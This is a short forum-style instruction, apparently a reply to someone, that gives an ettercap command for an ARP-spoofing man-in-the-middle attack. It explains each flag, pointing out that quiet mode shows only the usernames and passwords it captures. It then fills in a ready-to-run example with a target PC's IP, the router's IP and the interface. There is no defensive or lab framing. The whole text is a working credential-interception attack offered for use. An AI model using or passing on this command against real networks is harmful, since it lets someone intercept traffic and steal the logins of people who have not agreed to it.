Try using the following command:
-Tq: quiet text mode (will not print the actual packet content only username and password info)Code:ettercap -Tq -M ARP /target PC ip/ /target gateway ip/ -i interface
-M ARP: MITM attack
-i: the wired/wireless interface you wish to use, for example eth1 or ath0
So in an example scenario where you use the wireless interface eth1 and the IP of your target PC is 192.168.1.11 and the router IP is 192.168.1.1 your command would look as follows:
Code:ettercap -Tq -M ARP /192.168.1.11/ /192.168.1.1/ -i eth1
